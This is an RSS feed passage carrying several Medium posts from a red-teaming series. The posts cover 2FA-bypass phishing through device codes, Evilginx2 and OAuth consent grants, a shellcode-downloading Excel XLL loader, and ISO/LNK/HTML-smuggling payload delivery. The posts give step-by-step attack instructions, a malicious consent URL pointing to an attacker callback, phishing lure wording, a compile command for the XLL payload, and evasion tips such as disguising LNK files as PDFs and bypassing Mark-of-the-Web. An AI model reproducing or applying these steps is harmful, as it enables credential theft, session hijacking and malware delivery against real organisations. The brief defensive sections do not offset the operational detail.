token</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8NZnlpyUoOdMtn9tLCDnQ.png" /><figcaption>Victim entered provided user_code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-gkSmzafQb855uehHz-_Q.png" /><figcaption>Victim selects Microsoft account.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ripjAC0aSSFhlJWRd7fo_Q.png" /><figcaption>Victime complète 2FA</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TEDiiPry_BGjlaAiqHGsxQ.png" /><figcaption><strong>TokenTactics R</strong>eceive an <strong>access token after victim authentication</strong></figcaption></figure><p><strong>1.4. Access Victim’s Resources</strong></p><p>Use the stolen victim token to call graph APIs and access (e.g., Outlook, OneDrive, Teams, SharePoint, and other company user PII info).</p><p>You can use my tool on GitHub or another to access and search/download a victim’s Office 365 emails using their stolen access token.</p><p><a href="https://github.com/0xFFF-cmd/GraphHook">GitHub - 0xFFF-cmd/GraphHook: It allows users to access and search emails from Office 365 accounts using stolen OAuth tokens. can extract and analyze email data, search locally within email subjects and bodies, download email attachments, and more. It&#39;s an efficient way to automate email reconnaissance and data extraction from compromised accounts.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*V-wU0qfJrQ3qBG1XitktHA.png" /><figcaption><strong>Access Victim’s Emails</strong></figcaption></figure><p><strong>Note</strong>: This code assumes the token is authorized for Mail.Read or Mail.ReadWrite scopes. Always ensure you have proper authorization when using Microsoft Graph.</p><h3>2. Evilginx2 — Man-in-the-Middle Phishing with Session Hijacking</h3><p><strong>Concept </strong>: proxy real login pages while silently stealing credentials and session cookies.</p><p>✅ <strong>Result </strong>: Full session hijack even against hardware-backed MFA.</p><h4>Steps :</h4><p><strong>2.1 Open Evilginx2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-sZIeqX5kECW_e2OBnqDKw.png" /></figure><p><strong>2.2 Add Your Domain and IP and Hostname to Evilginx2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HjBr7CkboNC1PpYvv1HnRg.png" /></figure><p><strong>2.3 Enable Office 365 module and create lure (landing page) + list it to see phishing URL page.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9AhGDZ-ouGMjzBU44_ADww.png" /></figure><p><strong>2.4 Send an email or SMS to the victim containing a link to the Evilginx landing page (</strong><a href="https://login.online-notifications.net/kVQhKKxf"><strong>https://login.online-notifications.net/kVQhKKxf</strong></a><strong>). and the client opens it.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLvoSm0pOReQdrPJ3m-Sow.png" /></figure><p><strong>2.5 After the victim completes authentication with the 2FA, all his session cookies and email and password will be received on the Evilginx backend.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhThRIMlfaEPJ5-UFlkfsA.png" /></figure><p><strong>2.6 Replay Session : I will inject the victim&#39;s cookies into the browser and access his account portal or Azure service.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JhNcl-PN9KNFMbXPT9uNiA.png" /><figcaption>Access Victim Account</figcaption></figure><h3><strong>3. Dynamic Device Code Phishing — Live Code Phishing</strong></h3><p>Traditional Device Code Phishing requires sending a static user_code to the target, relying on them to act quickly before the code expires (typically within 15 minutes).<br> Dynamic Device Code Phishing improves this by generating the user_code <strong>only when the user clicks the phishing link</strong>, ensuring the code is always fresh and dramatically increasing the success rate.</p><p><strong>To set up Dynamic Device Code Phishing, it will take a long time, so I will summarize it:</strong></p><ul><li>Deploy a <strong>static website</strong> (e.g., using Azure Static Web Apps) that fetches a fresh device_code and user_code via an API call when visited.</li><li>The website sends the device_code to a <strong>Function App</strong> (triggered over HTTP) inside the attacker&#39;s Azure tenant (nomoreoil.onmicrosoft.com).</li><li>The <strong>Function App</strong> continuously monitors the authentication status, automatically requesting access tokens once the victim authenticates.</li><li>If successful, the tokens are saved into a <strong>Storage Account Table Service</strong> for later retrieval.</li></ul><p><strong>Example Infrastructure Setup:</strong></p><p><strong>3.1 Static Website</strong> — Hosts the phishing page and uses jQuery to fetch device codes dynamically.</p><p><strong>3.2 Function App</strong> — Handles device code monitoring and token harvesting using PowerShell.</p><p><strong>3.3 Storage Account</strong> — Stores the captured access tokens securely.</p><p>This method ensures the phishing operation remains valid for longer, maximizing the window of opportunity to capture valid tokens.</p><h3>4. Consent and Permissions Phishing (OAuth Consent Grant)</h3><p>In a <strong>Consent Phishing</strong> attack, instead of stealing the user’s credentials, the attacker <strong>tricks the user into granting OAuth permissions</strong> to a malicious application, allowing the attacker direct access to the user’s account data.</p><blockquote>⚡ <strong>Recent Incidents:</strong><br> In April 2025, major cybersecurity reports highlighted <strong>Russian APT groups</strong> exploiting Microsoft OAuth frameworks for large-scale espionage operations:</blockquote><blockquote><strong>The Hacker News</strong> reported that attackers created rogue OAuth apps and tricked users into granting access, leading to <strong>unauthorized access to Microsoft 365 data</strong> without triggering normal credential theft detections. (<a href="https://thehackernews.com/2025/04/russian-hackers-exploit-microsoft-oauth.html">Source</a>)</blockquote><blockquote><strong>Volexity</strong>’s detailed analysis described how threat actors <strong>phished for OAuth codes</strong> and <strong>abused Microsoft’s Device Code flow and OAuth workflows</strong> to maintain stealthy, persistent access inside cloud environments. (<a href="https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/">Source</a>)</blockquote><p>Consent and Permissions Phishing is extremely dangerous because it allows <strong>long-term access</strong> even after password resets or traditional incident response actions.</p><p><strong>How the Attack Works (Example Flow)</strong></p><p><strong>4.1 Attacker registers a malicious app</strong> in Azure AD (or Google Cloud / any OAuth provider).</p><ul><li>Example: “SecureMail Reader” or “Company Document Viewer”.</li></ul><p><strong>4.2 Attacker crafts a malicious OAuth Consent URL</strong> like this:</p><pre>https://login.microsoftonline.com/common/oauth2/v2.0/authorize?<br>client_id=ATTACKER_APP_ID<br>&amp;response_type=code<br>&amp;redirect_uri=https://attacker-website.com/callback<br>&amp;response_mode=query<br>&amp;scope=Mail.Read%20offline_access%20User.Read<br>&amp;state=random_state_value</pre><p><strong>Key parts:</strong></p><ul><li>client_id = Attackers&#39; app ID</li><li>scope = Sensitive permissions like Mail.Read, offline_access, Files.Read, User.Read</li><li>redirect_uri = Attackers&#39; server to capture the authorization code</li></ul><p>4.3 <strong>Victim receives a phishing email</strong> like:</p><blockquote>“You need to authorize SecureMail Reader to continue accessing your company emails securely. Click here to approve.”</blockquote><p>4.4 <strong>Victim clicks</strong> the link and <strong>sees a legitimate Microsoft or Google OAuth consent screen</strong> requesting the permissions (because the app is real but malicious).</p><p><strong>4.5 Victim clicks “Accept”</strong> thinking it’s normal.</p><p><strong>4.6 Attacker receives</strong> an OAuth authorization code, exchanges it for an access token, and can now:</p><ul><li><strong>Read all the victim’s emails</strong> (Mail.Read)</li><li><strong>Access OneDrive files</strong> (Files.Read)</li><li><strong>Profile information</strong> (User.Read)</li><li><strong>Refresh tokens silently</strong> (offline_access)</li></ul><p>⚡ <strong>No need for username or password</strong> — just abuse the granted access token.</p><p><strong>Realistic Example Scenario</strong></p><ul><li>The attacker registers an app called <strong>“Work From Home Secure Portal”</strong>.</li><li>Sends the victim an email saying:</li></ul><blockquote>“Due to new work-from-home policies, all employees must authorize the new Secure Portal app by clicking below.”</blockquote><ul><li>The link brings them to the real <strong>Microsoft OAuth consent screen</strong>, requesting: <strong>Mail.Read</strong> and <strong>Files.Read</strong> and <strong>offline_access</strong></li><li>The victim clicks <strong>“Accept”</strong> — thinking it’s legitimate.</li><li>Attacker can now <strong>read all emails</strong>, <strong>download sensitive files</strong>, and <strong>refresh access without user interaction</strong>.</li></ul><p><strong>Key Techniques Used:</strong></p><ul><li>Legitimate OAuth flow (no password stealing)</li><li>Social engineering through trust (real Microsoft page)</li><li>Abuse of permissions granted by the user (not technical vulnerabilities)</li></ul><p><strong>How to Defend Against It:</strong></p><ul><li>Enable <strong>OAuth app consent policies</strong> (require admin approval for risky apps)</li><li><strong>Restrict third-party app registrations</strong></li><li>Educate users about unexpected consent requests</li><li>Monitor OAuth grants in the organization</li></ul><h3>Why These Attacks Work</h3><p>Modern identity systems <strong>trust tokens more than passwords</strong>:</p><ul><li>Once a session token is issued after 2FA, it’s treated as valid until expiry.</li><li>OAuth apps are often <strong>trusted too much</strong> (users rarely read scopes carefully).</li><li>Defenders monitor logins — but <strong>not always app grants or token theft</strong>.</li></ul><p>Thus, <strong>post-authentication artifacts</strong> are the new target.</p><h3>Real-World APT Examples: Who Uses These Techniques?</h3><p>Advanced threat actors and APT groups are increasingly adopting phishing techniques that <strong>bypass traditional MFA</strong> through OAuth abuse, session hijacking, and advanced cloud-targeted methods. Some real-world examples include:</p><p>Advanced threat actors and APT groups are increasingly adopting phishing techniques that <strong>bypass traditional MFA</strong> through OAuth abuse, session hijacking, and advanced cloud-targeted methods. Some real-world examples include</p><ul><li>In February 2025, <strong>Storm-1295 (</strong><a href="https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/#Update-February-14"><strong>Microsoft naming</strong></a><strong>)—Engaged</strong> in <strong>device code phishing</strong> targeting Microsoft 365 users to bypass MFA and gain persistent cloud access without needing user passwords.</li><li>In April 2025, <a href="https://thehackernews.com/2025/04/russian-hackers-exploit-microsoft-oauth.html"><strong>Russian hackers</strong> exploited Microsoft OAuth applications</a> by registering rogue apps and phishing users for <a href="https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/"><strong>consent grants,</strong></a> bypassing passwords, MFA, and traditional detection.</li><li><strong>APT29 (Cozy Bear)—Famous</strong> for using <strong>consent and permissions phishing</strong> attacks during campaigns targeting government and healthcare sectors, including the 2020 SolarWinds-related operations.</li><li><strong>Midnight Blizzard (Nobelium)—Conducted</strong> sophisticated <strong>OAuth consent phishing</strong> campaigns, creating rogue apps to harvest emails, files, and cloud resources.</li><li><strong>Unattributed Threat Actors—</strong>Regular use of <strong>Evilginx2 and similar MITM phishing kits</strong> to steal session cookies from executives (C-level) in fintech, technology, and defense sectors.</li><li><strong>Crimson Kingsnake</strong> — Utilized <strong>dynamic device phishing</strong> tactics, impersonating legal and financial brands to execute advanced BEC (Business Email Compromise) attacks, bypassing MFA protections.</li></ul><p>These real-world cases show that <strong>advanced phishing campaigns are no longer rare</strong> — they are an essential part of modern APT initial access toolkits, especially against cloud-first and hybrid organizations.</p><h3>Final Thought</h3><p>Mastering modern phishing attacks requires more than spoofed login pages.</p><p>As organizations continue their journey into cloud ecosystems, adversaries are shifting their tactics to attack identity, sessions, and user trust rather than just passwords.<br> Techniques like <strong>Device Code Phishing</strong> and <strong>Consent Grant Attacks</strong> expose the weakness of relying solely on MFA, while <strong>Evilginx2</strong> demonstrates the dangerous potential of live session hijacking.<br> For defenders and red teams alike, understanding and simulating these attack paths is crucial to building true resilience against modern threats.</p><blockquote><strong>Next:</strong> Eyes open — we dive deeper into the shadows, shifting from 2FA bypasses into hardcore credential theft, unleashing Browser-in-the-Browser (BitB) illusions, Click-Fix exploits, and Captcha Copy-Paste traps in Part 8.</blockquote><p>If you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85f9adc4dc3b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-7-advanced-phishing-techniques-for-2fa-bypass-85f9adc4dc3b">Mastering Modern Red Teaming Infrastructure Part 7: Advanced Phishing Techniques for 2FA Bypass…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure Part 6: Simulated APT Initial Access via Excel XLL…]]></title>
            <link>https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-6-simulated-apt-initial-access-via-excel-xll-bb4aa10ee4ed?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb4aa10ee4ed</guid>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Sun, 20 Apr 2025 08:53:25 GMT</pubDate>
            <atom:updated>2025-04-28T11:44:05.317Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering Modern Red Teaming Infrastructure Part 6: Simulated APT Initial Access via Excel XLL Add-in — Malicious DLL Execution Bypassing Macro Restrictions</h3><blockquote>For years, Microsoft Office Macros have been a staple initial access vector in red team operations and real-world APT campaigns. However, Microsoft has made significant efforts to mitigate this risk. Starting in 2022 and continuing into 2023 and 2024, Microsoft progressively <strong>disabled macros by default</strong> for files downloaded from the internet — rendering legacy macro-based payloads nearly obsolete.</blockquote><blockquote>So… are we done with Excel-based payloads?</blockquote><blockquote><strong>Absolutely not.</strong></blockquote><blockquote>Red teamers adapt. That’s what we do.</blockquote><blockquote>In this article, I’ll show you how to <strong>leverage XLL (Excel Add-in) files as a payload delivery method</strong>, bypassing macro restrictions entirely. We’ll break down a real XLL payload that downloads and executes shellcode directly when the .xll is opened in Excel — no macros, no VBA, no warning dialogs.</blockquote><blockquote><strong>📌 Real-world Note:</strong></blockquote><blockquote>This technique is documented in the MITRE ATT&amp;CK framework under sub-technique <a href="https://attack.mitre.org/techniques/T1137/006/">T1137.006: Office Application Startup: Add-ins</a>.<br>APT groups like <a href="https://blog.talosintelligence.com/xlling-in-excel-malicious-add-ins/">TA410</a> and commodity malware like <a href="https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain/">Dridex </a>have used .xll payloads to bypass macro restrictions and achieve stealthy execution.</blockquote><blockquote><a href="https://thehackernews.com/2022/12/apt-hackers-turn-to-malicious-excel-add.html">https://thehackernews.com/2022/12/apt-hackers-turn-to-malicious-excel-add.html</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*29C2IzBWcyIScY9WHcglcg.png" /></figure><h3>Table of Contents</h3><ol><li>Why Did Microsoft Disable Macros?</li><li>What Is an XLL File?</li><li>Why .xll Bypasses Macro Restrictions</li><li>💻 POC Steps With Full Code Breakdown: Excel Shellcode Loader via XLL</li><li>Red Teaming Impact</li><li>Defenders, Beware</li><li>Final Thought</li></ol><h3>1. Why Did Microsoft Disable Macros?</h3><p>In response to the <strong>abuse of macros in phishing and malware campaigns</strong>, Microsoft began enforcing stricter controls:</p><ul><li><strong>Macros from the internet are blocked by default</strong> in Office.</li><li>Files flagged with the <strong>Mark of the Web (MoTW)</strong> are opened in Protected View.</li><li>Even in enterprise environments, admins must explicitly enable macros now.</li></ul><p>While this was a major win for defenders, it pushed red teams and threat actors to evolve.</p><p>Enter <strong>XLL files</strong>.</p><h3>2. What Is an XLL File?</h3><p>.xll is an <strong>Excel Add-in</strong> — a compiled binary (DLL) with exported functions that Excel can call. It behaves like a plugin that extends Excel with custom features or functions.</p><p><strong>Why is this interesting?</strong></p><ul><li>XLLs <strong>do not require macros to be enabled</strong>.</li><li>When opened in Excel, XLLs automatically call the xlAutoOpen() function.</li><li>They can contain native code, shellcode loaders, or even reverse shells.</li><li>Antivirus and EDR tools often overlook XLL behavior.</li></ul><p>This makes .xllpayloads a <strong>powerful alternative</strong> to macro-based delivery.</p><p>One disadvantage of XLL files is that they can only be loaded by Excel with the correct bit. For example, a 64-bit XLL can only be loaded by the 64-bit version of Excel. The same goes for 32-bit versions. Therefore, malware authors have to rely on the Excel version that is installed on the victim’s machine.</p><p>Like with VBA macros, Excel will warn the user about the security concern arising from executing the add-in. In that aspect, it has no advantage for malware compared to VBA macros.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*gMnL-BIT4NWlOzISZFAoaw.png" /><figcaption>Warning by Excel while trying to execute an XLL file.</figcaption></figure><h3>3. Why .xll Bypasses Macro Restrictions</h3><ul><li><strong>Excel Add-Ins (.xll) are NOT VBA macros.</strong></li><li>They are <strong>compiled native DLLs</strong>, written in C/C++.</li><li>When an .xll is loaded, Excel executes it <strong>automatically</strong> via exported functions like xlAutoOpen() — <em>independently</em> of macro settings.</li></ul><p>📌 <strong>Macro settings in Excel control VBA and XLM macros only</strong>, not native DLLs.</p><h3>4. 💻 POC Steps With Full Code Breakdown: Excel Shellcode Loader via XLL</h3><p><strong>Generate shellcode from Sliver and host it to be downloaded and injected</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*MzeLyij4jFY9E5qzpOGSjA.png" /><figcaption><strong>Generate shellcode from Slive</strong></figcaption></figure><p><strong>Open listener</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*hBHouUTH5BsPVQT-k-CNKg.png" /></figure><p>Here’s a working example on my GitHub profile that you can compile into FinancePlugin1.xll. When the user opens this .xll file in Excel, it <strong>downloads shellcode from a remote server and executes it in memory</strong>.</p><p><a href="https://github.com/0xFFF-cmd/AV-EDR-bypass-payloads/blob/main/XLL-payloads/xll-shellcode.cpp">AV-EDR-bypass-payloads/XLL-payloads/xll-shellcode.cpp at main · 0xFFF-cmd/AV-EDR-bypass-payloads</a></p><pre>x86_64-w64-mingw32-g++ -std=c++11 xll_shellcode2.cpp -o FinancePlugin1.xll -shared -lwinhttp -static-libgcc -static-libstdc++ -s</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5zB69xfVBmslxV2aH64J7Q.png" /></figure><p><strong>Compiled xll file</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*67dGWamjXc3zIuGIrCfBcQ.png" /></figure><p>Double click to open it and choose enable this add-in for this session only</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*0GaXREw7UmlDB-zkgmLsbA.png" /></figure><p>Then the beacon session will start in sliver C2 backend</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*3-Bx6tQN7njy586Jf94kTg.png" /></figure><h3>5. Red Teaming Impact</h3><p><strong>Using </strong><strong>.xll payloads brings several advantages:</strong></p><ul><li>Works when macros are disabled</li><li>Can bypass sandbox and EDR detections</li><li>Doesn’t rely on Office scripting engines</li><li>Easy to deploy with social engineering or phishing campaigns</li></ul><p><strong>Pro tip:</strong></p><ul><li>Sign your .xll file and use a legitimate-looking name like FinanceAnalysisAddin.xll</li><li>To bypass Mark-of-the-Web (MoTW), place the .xll file inside a container such as .zip archive.</li><li>Host your shellcode using TLS (HTTPS) and behind redirector</li><li>Use encryption or obfuscation inside the shellcode buffer with stealth techniques such as system calls.</li></ul><h3>6. Defenders, Beware</h3><p><strong>If you’re a blue teamer or SOC analyst, make sure to:</strong></p><ul><li>Monitor .xll file executions</li><li>Inspect calls to xlAutoOpen</li><li>Block or restrict unknown add-ins from being loaded in Excel</li></ul><h3>7. Final Thought</h3><p>Who said Excel payloads are dead?</p><p>Just because macros are disabled doesn’t mean the war is over. With .xll files, we now have a <strong>macro-less, stealthy, and potent payload vector</strong> to deliver in phishing or targeted red team operations.</p><p>Remember — red teaming is all about adapting to change.</p><p>Excel isn’t dead — we just upgraded.</p><blockquote><strong><em>Next:</em></strong><em> Stay sharp — we’re moving from </em>Malicious DLL Execution Bypassing Macro Restrictions<em> to </em><strong>Advanced Fishing to bypass 2FA through evilginx , Device code phishing, dynamic device code phishing and Consent and Permissions Attacks</strong><em> in Part 7.</em></blockquote><p>If you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb4aa10ee4ed" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-6-simulated-apt-initial-access-via-excel-xll-bb4aa10ee4ed">Mastering Modern Red Teaming Infrastructure Part 6: Simulated APT Initial Access via Excel XLL…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure Part 5: Initial Access Reloaded: Red Team Payload…]]></title>
            <link>https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-5-initial-access-reloaded-red-team-payload-85cc79850a9a?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/85cc79850a9a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cyberattack]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Tue, 15 Apr 2025 14:52:30 GMT</pubDate>
            <atom:updated>2025-04-20T08:48:25.934Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Mastering Modern Red Teaming Infrastructure Part 5: Initial Access Reloaded: Red Team Payload Development in the Age of Zero Trust</strong></h3><blockquote>As red teamers simulate modern APTs, we must continuously evolve our initial access techniques to bypass increasingly advanced detection layers. From email security sandboxes to endpoint protection, every defense layer challenges us to operate with greater stealth and precision.</blockquote><blockquote>In Part 5, we dive into payload development and hardening by crafting two advanced delivery scenarios inspired by real APT tradecraft. The <strong>Objective </strong>is to Simulate APT-style payload delivery chains to achieve <strong>Initial Access</strong> by:</blockquote><ul><li>Bypass Mark-of-the-Web (MoTW) protection</li><li>Bypass SmartScreen protection</li><li>Evade email sandboxes</li><li>Escape web proxies and content filters</li><li>Achieve execution with minimal user interaction</li></ul><p>Each scenario is designed to reflect APT-level evasion and initial access techniques, giving you practical insight into how sophisticated threat actors operate — and how you can replicate those behaviors in your simulations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*13FSifnxnSxLS9RRAZoZ4w.png" /></figure><h3><strong>Table of Contents</strong></h3><ol><li>Introduction</li><li>Context: Why This Matters</li><li>Scenario 1: Payload Delivery as PDF via HTML Smuggling, ISO Container &amp; LNK Trigger</li></ol><ul><li>3.1 Generate Your Payload (Sliver C2)</li><li>3.2 Choose a Decoy PDF</li><li>3.3 Create a Trigger .lnk File</li><li>3.4 Build ISO Container with PackMyPayload</li><li>3.5 Wrap ISO in HTML Smuggling</li><li>3.6 Send the HTML Smuggling Link via Email</li></ul><p>4. Scenario 2: Security Update — ZIP Container with Backdoored MSI Installer</p><ul><li>4.1 Build Backdoored MSI</li><li>4.2 Archive in a ZIP Container</li><li>4.3 Create Smuggled HTML Loader</li><li>4.4 Email Template</li></ul><p>5. Lessons from the Trenches</p><p>6. Bypassing Windows SmartScreen Protections via Payload Signing</p><p>7. Modifying Signatures and Attributes to Evade Detection</p><p>8. Final Thoughts</p><h3><strong>2. 🌐 Context: Why This Matters</strong></h3><p>Threat actors targeting the Middle East, especially Saudi Arabia’s fintech and critical infrastructure sectors, have recently deployed similar techniques:</p><ul><li>MuddyWater (APT-C-53) has embedded scripts in documents and fake software updates to deliver backdoors. Source: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a</a></li><li>APT34 (OilRig) and Ghostwriter, also known as <strong>UNC1151 and Storm-0257, </strong>used ISO and ZIP containers to bypass Microsoft’s MoTW-based defenses and have used LNK files and HTML smuggling for credential theft and payload staging. Source: <a href="https://attack.mitre.org/techniques/T1204/002/">https://attack.mitre.org/techniques/T1204/002/</a> and <a href="https://www.microsoft.com/en-us/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/">https://www.microsoft.com/en-us/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/</a></li></ul><p>Our scenarios emulate these APT groups to simulate the realistic threat landscape Saudi organizations are facing today.</p><p><em>Note: While no direct public attribution links HTML smuggling + ISO/LNK payload chains to APT34 or UNC1151, these methods are built using tradecraft inspired by multiple APT campaigns observed in the wild.</em></p><h3><strong>3. Scenario 1: Payload Delivery as PDF via HTML Smuggling, ISO Container &amp; LNK Trigger</strong></h3><p>“APT operators don’t send EXEs. They send believable content wrapped in clever packaging.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*CiBAmtmdOOUlCyn0iF81PA.png" /><figcaption>🧪S1: Steps Overview</figcaption></figure><p><strong>Execution Flow:</strong></p><p>1. ISO downloaded via HTML smuggling</p><p>2. User opens ISO &gt; sees only trigger.pdf (actually an LNK)</p><p>3. User clicks LNK &gt; payload runs silently + decoy PDF opens</p><p><strong>🛠️ Chain Creation Workflow</strong></p><h4><strong>3.1</strong> <strong>Generate Your Payload “</strong>Sliver C2”</h4><p>Set up the Sliver C2 listener and generate a payload. Ensure the listener is active and ready to receive new sessions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*UDm16C1ZZODln37E-VAMGw.png" /><figcaption>Generate Silver Payload</figcaption></figure><h4><strong>3.2</strong> <strong>Choose a Decoy PDF</strong></h4><p>Decoy allows the attacker to continue the social engineering context with the user. So instead of running a file, seeing nothing, and getting suspicious, the user sees something that they’re expecting to.</p><p>Below I created a sample PDF named decoy.pdf with sample content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_WU9ijQLPYlQtFHZyg_fjg.png" /><figcaption>PDF Decoy</figcaption></figure><h4><strong>3.3</strong> <strong>Create a Trigger .lnk</strong></h4><p>A <strong>Shell Link (.lnk)</strong> is a special Windows shortcut file format designed to launch programs or files. What makes .lnk files particularly deceptive is that their extensions are hidden in Windows Explorer, even when the “show file extensions” option is enabled. This allows attackers to disguise malicious files with names like contract.pdf.lnk, which appears to the user as just contract.pdf.</p><p><strong>Use PowerShell to craft a .lnk that:</strong></p><p>· Disguises itself as a PDF (via icon and name)</p><p>· Launches both the payload.exe and the decoy.pdf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*juTgEZBJc8WsNhK8deIuuQ.png" /><figcaption>Create lnk</figcaption></figure><p>Then .lnk file created and when the .lnk file run will trigger payload.exe and will show to the victim decoy.pdf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*8YK0-KZmAEmVfJ66V7hs9A.png" /><figcaption>Created Lnk file</figcaption></figure><p><strong>Let’s change the icon of trigger.pdf.lnk to appear as a normal PDF file.</strong></p><ul><li>1.<strong> Right-click</strong> on trigger.pdf.lnk and select <strong>Properties</strong>.</li><li>2. Click on the <strong>“Change Icon…”</strong> button.</li><li>3. In the path field, browse to your PDF application. For example, if you’re using <strong>Foxit PDF Reader</strong>, enter the following path: C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\FoxitPDFReader.exe</li><li>4. Select the standard PDF icon from the list and click <strong>OK</strong>. “This makes the .lnk file appear just like a regular PDF document, enhancing the disguise.”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4Vcaq9ITfGGkMJjqxMKAIA.png" /><figcaption>Change Lik File Icon</figcaption></figure><p>Place all files (payload, decoy, LNK) in the same directory</p><h4><strong>3.4</strong> <strong>Build ISO Container with PackMyPayload</strong></h4><p>This step is to bundle all the files — the <strong>payload</strong>, <strong>decoy PDF</strong>, and the <strong>trigger (trigger.pdf.lnk)— into</strong> a single <strong>ISO container</strong>. This method offers several advantages:</p><ul><li><strong>Bypasses Mark-of-the-Web (MoTW)</strong>: ISO files opened locally do not apply MoTW by default, helping evade SmartScreen and sandbox restrictions.</li><li><strong>Delivers all components together</strong>: Ensures everything is packaged cleanly for delivery.</li><li><strong>Supports file hiding</strong>: You can hide the payload and decoy inside the ISO, so the victim will only see and interact with the trigger.PDF</li></ul><p>This approach increases stealth and improves the chances of successful execution on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hwDBvELj2j-Mkkzi6DAkUA.png" /><figcaption>Build ISO Container</figcaption></figure><p><strong>Contents of the ISO:</strong></p><ul><li>payload.exe (hidden)</li><li>decoy.pdf (hidden)</li><li>trigger.lnk.pdf(LNK – visible) A shortcut file crafted with a PDF icon and misleading filename (appears as a legitimate PDF to the user). When clicked, it executes the hidden payload and simultaneously opens the decoy PDF to maintain credibility.</li></ul><h4><strong>3.5</strong> <strong>Wrap ISO in HTML Smuggling</strong></h4><p>By delivering the ISO file through JavaScript-based HTML smuggling, the payload can bypass email sandboxes, attachment restrictions, content filtering mechanisms, and proxies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*zLRYaPqAluNw4Yj9fjiOdQ.png" /><figcaption>Wrap ISO in HTML 